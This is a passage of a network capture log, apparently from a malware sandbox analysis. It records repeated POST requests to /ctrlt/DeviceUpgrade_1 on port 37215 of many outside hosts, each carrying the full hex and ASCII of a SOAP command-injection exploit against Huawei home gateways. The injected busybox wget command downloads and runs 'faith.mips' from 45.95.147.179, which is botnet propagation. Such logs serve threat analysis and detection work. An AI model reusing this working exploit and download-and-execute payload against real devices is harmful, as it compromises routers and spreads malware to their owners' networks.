52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.452619076 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:41.932627916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.20	36948	94.122.24.183	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:51.618424892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.20	44520	45.33.250.90	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:54.062587976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.20	47910	94.120.62.94	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:58.543070078 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.20	41666	156.254.71.199	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:58.579123020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:00.096564054 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:01.924545050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:05.580643892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 